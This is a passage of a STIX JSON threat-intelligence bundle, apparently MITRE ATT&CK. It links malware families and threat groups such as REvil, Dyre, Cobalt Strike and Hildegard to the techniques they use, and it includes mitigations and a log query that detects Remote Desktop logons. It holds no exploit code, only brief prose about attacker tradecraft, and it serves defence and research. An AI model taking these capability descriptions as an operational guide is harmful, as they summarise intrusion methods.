"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--50860aec-3490-4783-8ffb-ad4217cf0d58", "type": "relationship", "created": "2021-10-15T20:31:12.328Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks GOLD KINGSWOOD September 2018", "url": "https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish", "description": "CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}], "modified": "2021-10-15T20:31:12.328Z", "description": "[SpicyOmelette](https://attack.mitre.org/software/S0646) has been distributed via emails containing a malicious link that appears to be a PDF document.(Citation: Secureworks GOLD KINGSWOOD September 2018)", "relationship_type": "uses", "source_ref": "malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--508879cf-53b7-4578-9a5f-9ed20dfb09ef", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Dyre June 2015", "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.", "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf"}], "modified": "2020-03-16T15:44:59.435Z", "description": "[Dyre](https://attack.mitre.org/software/S0024) injects into other processes to load modules.(Citation: Symantec Dyre June 2015)", "relationship_type": "uses", "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--508c012e-c578-472d-8225-51bc8c0dff87", "created": "2023-12-18T19:50:23.615Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Sygnia Emperor Dragonfly October 2022", "description": "Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.", "url": "https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"}, {"source_name": "SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022", "description": "Counter Threat Unit Research Team . (2022, June 23). BRONZE STARLIGHT RANSOMWARE OPERATIONS USE HUI LOADER. Retrieved December 7, 2023.", "url": "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-02T21:11:12.056Z", "description": "[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has used open-source tools including customized versions of the Iox proxy tool, NPS tunneling tool, Meterpreter, and a keylogger that uploads data to Alibaba cloud storage.(Citation: Sygnia Emperor Dragonfly October 2022)(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--508cef53-f7ff-4e64-9ab3-dedefbba697b", "created": "2024-03-29T17:43:41.725Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-29T18:36:18.759Z", "description": "Application developers should consider limiting the requirements for custom or otherwise difficult to manage file/folder exclusions. Where possible, install applications to trusted system folder paths that are already protected by restricted file and directory permissions.", "relationship_type": "mitigates", "source_ref": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1", "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--508dfa9b-e98a-4fb7-a34b-b74a3a7446d9", "type": "relationship", "created": "2020-03-14T22:24:22.085Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-14T22:24:22.085Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7", "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--50900340-6edc-447c-aa1c-f73f5d72e4c6", "type": "relationship", "created": "2020-08-05T15:09:37.748Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Intel 471 REvil March 2020", "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."}, {"source_name": "Secureworks REvil September 2019", "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware", "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}], "modified": "2021-04-06T14:42:52.659Z", "description": "[REvil](https://attack.mitre.org/software/S0496) has the capability to stop services and kill processes.(Citation: Intel 471 REvil March 2020)(Citation: Secureworks REvil September 2019)", "relationship_type": "uses", "source_ref": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5093ddae-6bc9-401e-b35f-9f3139efafd0", "created": "2022-09-27T16:17:07.415Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. 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Retrieved August 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}], "modified": "2020-03-20T02:30:08.937Z", "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can use cmd.exe to download and execute payloads and to execute commands on the system.(Citation: Unit 42 Gorgon Group Aug 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--509a016a-6243-40b1-b1b5-74f6c79ce413", "type": "relationship", "created": "2021-02-09T14:35:39.779Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Bad Rabbit", "url": "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/", "description": "M.L\u00e9veille, M-E.. (2017, October 24). Bad Rabbit: Not\u2011Petya is back with improved ransomware. Retrieved January 28, 2021."}, {"source_name": "Secure List Bad Rabbit", "url": "https://securelist.com/bad-rabbit-ransomware/82851/", "description": "Mamedov, O. Sinitsyn, F.  Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021."}], "modified": "2021-05-04T19:28:12.879Z", "description": "[Bad Rabbit](https://attack.mitre.org/software/S0606) has masqueraded as a Flash Player installer through the executable file <code>install_flash_player.exe</code>.(Citation: ESET Bad Rabbit)(Citation: Secure List Bad Rabbit)", "relationship_type": "uses", "source_ref": "malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--509a61b8-292e-4292-b4e8-c1c9901582ec", "type": "relationship", "created": "2020-11-13T20:44:05.109Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Grandoreiro April 2020", "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}], "modified": "2020-12-09T19:12:41.072Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can determine the time on the victim machine via IPinfo.(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--509a79e0-7ee3-4528-b11a-eefee861e384", "type": "relationship", "created": "2020-11-09T14:52:45.549Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Kimsuky November 2020", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}], "modified": "2020-11-09T14:52:45.549Z", "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) can use the schtasks utility to bypass UAC.(Citation: Cybereason Kimsuky November 2020)", "relationship_type": "uses", "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--509eddb7-b86f-4831-953f-15017b5d987e", "type": "relationship", "created": "2021-12-07T18:17:41.838Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Gigamon Berserk Bear October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", "description": "Slowik, J. (2021, October). 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Retrieved December 6, 2021."}], "modified": "2021-12-07T18:17:41.838Z", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has sent emails with malicious attachments to gain initial access.(Citation: Gigamon Berserk Bear October 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--50a1a87a-31cf-4a98-96f6-276f35798185", "type": "relationship", "created": "2021-04-07T18:07:47.952Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Hildegard Malware", "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", "description": "Chen, J. et al. (2021, February 3). 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Retrieved April 5, 2021."}], "modified": "2021-04-07T18:07:47.952Z", "description": "[Hildegard](https://attack.mitre.org/software/S0601) has searched for SSH keys, Docker credentials, and Kubernetes service tokens.(Citation: Unit 42 Hildegard Malware)", "relationship_type": "uses", "source_ref": "malware--40a1b8ec-7295-416c-a6b1-68181d86f120", "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--50a57369-6d3e-44bf-814f-7c9242e56d75", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/", "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", "source_name": "\u00dcberwachung APT28 Forfiles June 2015"}], "modified": "2019-09-09T17:44:36.171Z", "description": "(Citation: \u00dcberwachung APT28 Forfiles June 2015)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "tool--90ec2b22-7061-4469-b539-0989ec4f96c2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--50b2e4e3-8740-463b-87fc-e96c4b62fbe5", "type": "relationship", "created": "2021-02-09T16:54:09.252Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Volatile Cedar March 2015", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}], "modified": "2021-02-09T16:54:09.252Z", "description": "[Explosive](https://attack.mitre.org/software/S0569) can scan all .exe files located in the USB drive.(Citation: CheckPoint Volatile Cedar March 2015) ", "relationship_type": "uses", "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--50b44ee2-bef2-42a9-9bfc-2f5ce48748b7", "type": "relationship", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.850Z", "description": "Monitor executed commands and arguments that may use hidden windows to conceal malicious activity from the plain sight of users. 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Retrieved December 17, 2020."}], "modified": "2020-12-28T15:35:41.915Z", "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used dynamic DNS service providers to host malicious domains.(Citation: District Court of NY APT10 Indictment December 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--50bd8457-3c13-483d-a647-cee4f554d490", "type": "relationship", "created": "2022-01-25T15:03:40.014Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point APT35 CharmPower January 2022", "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/", "description": "Check Point. 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Retrieved December 18, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Industroyer](https://attack.mitre.org/software/S0604) can enumerate remote computers in the compromised network.(Citation: ESET Industroyer)", "modified": "2022-06-30T20:16:53.754Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--e401d4fe-f0c9-44f0-98e6-f93487678808", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--50d9747b-7dee-4daf-8611-b4190ecd7e35", "created": "2022-07-29T19:42:15.413Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "NCC Group Team9 June 2020", "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Bazar](https://attack.mitre.org/software/S0534)'s loader can delete scheduled tasks created by a previous instance of the malware.(Citation: NCC Group Team9 June 2020)", "modified": "2022-07-29T19:42:15.413Z", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--50dbe887-4d91-42d3-8e1b-34000ad5a1e7", "type": "relationship", "created": "2020-06-11T16:18:16.769Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. 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Retrieved December 20, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Torisma](https://attack.mitre.org/software/S0678) has used XOR and Base64 to decode C2 data.(Citation: McAfee Lazarus Nov 2020)", "modified": "2022-04-13T21:41:44.921Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--0715560d-4299-4e84-9e20-6e80ab57e4f2", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--512e16e9-634c-45d3-b569-c25a3072bbdc", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). 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(2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}], "modified": "2021-11-17T14:06:48.793Z", "description": "(Citation: MSTIC FoggyWeb September 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "malware--72911fe3-f085-40f7-b4f2-f25a4221fe44", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5179f874-72fb-4743-bd51-3f3fdb660038", "type": "relationship", "created": "2021-05-20T15:05:36.346Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cobalt Strike Manual 4.3 November 2020", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf", "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}], "modified": "2021-10-18T20:06:40.073Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can mimic the HTTP protocol for C2 communication, while hiding the actual data in either an HTTP header, URI parameter, the transaction body, or appending it to the URI.(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5181727e-706d-4e57-8a41-628a27e03c6c", "type": "relationship", "created": "2019-09-03T18:32:49.397Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "LOLBAS Esentutl", "url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/", "description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019."}], "modified": "2019-09-05T17:35:41.480Z", "description": "[esentutl](https://attack.mitre.org/software/S0404) can be used to read and write alternate data streams.(Citation: LOLBAS Esentutl)", "relationship_type": "uses", "source_ref": "tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27", "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5183147b-4563-4a01-a360-a419691e35f8", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT34 Dec 2017", "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}], "modified": "2020-03-17T02:14:55.982Z", "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect information about the currently logged in user by running <code>whoami</code> on a victim.(Citation: FireEye APT34 Dec 2017)", "relationship_type": "uses", "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--518c01b6-fbc0-4039-9732-864627656899", "created": "2022-03-30T14:26:51.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:36:48.848Z", "description": "Monitor for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. \n\nA remote desktop logon, through\u00a0[Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001), may be typical of a system administrator or IT support, but only from select workstations. Monitoring remote desktop logons and comparing to known/approved originating systems can detect lateral movement of an adversary.\n\nMultiple users logged into a single machine at the same time, or even within the same hour, do not typically occur in networks we have observed.\nLogon events are Windows Event Code 4624 for Windows Vista and above, 518 for pre-Vista. Logoff events are 4634 for Windows Vista and above, 538 for pre-Vista. Logon types 2, 3, 9 and 10 are of interest. For more details see the Logon Types table on Microsoft\u2019s\u00a0Audit Logon Events\u00a0page.\n\nAnalytic 1 - Remote Desktop Logon\n\n<code>(source=\"*WinEventLog:Security\" EventCode=\"4624\") AuthenticationPackageName= \"Negotiate\" AND Severity= \"Information\" AND logon_type= \"10\"</code>\n", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--518e99d1-d80e-4a5c-9b47-301da8b501e4", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html", "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", "source_name": "FireEye FELIXROOT July 2018"}, {"source_name": "ESET GreyEnergy Oct 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf", "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}], "modified": "2020-03-17T01:16:25.811Z", "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) uses HTTP and HTTPS to communicate with the C2 server.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)", "relationship_type": "uses", "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5197fd7a-766f-45da-87f5-c469377460d1", "type": "relationship", "created": "2020-06-08T17:22:35.549Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky TajMahal April 2019", "url": "https://securelist.com/project-tajmahal/90240/", "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019."}], "modified": "2020-06-15T21:19:30.918Z", "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to index and compress files into a send queue for exfiltration.(Citation: Kaspersky TajMahal April 2019)", "relationship_type": "uses", "source_ref": "malware--b51797f7-57da-4210-b8ac-b8632ee75d70", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--519b3d7a-2de3-470b-a1cd-f40d0c351ea3", "type": "relationship", "created": "2020-08-13T14:05:44.782Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks Karagany July 2019", "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector", "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}], "modified": "2020-08-13T14:05:44.782Z", "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can steal data and credentials from browsers.(Citation: Secureworks Karagany July 2019)", "relationship_type": "uses", "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--519beaec-1b79-42d7-9739-8c22e896e0cd", "type": "relationship", "created": 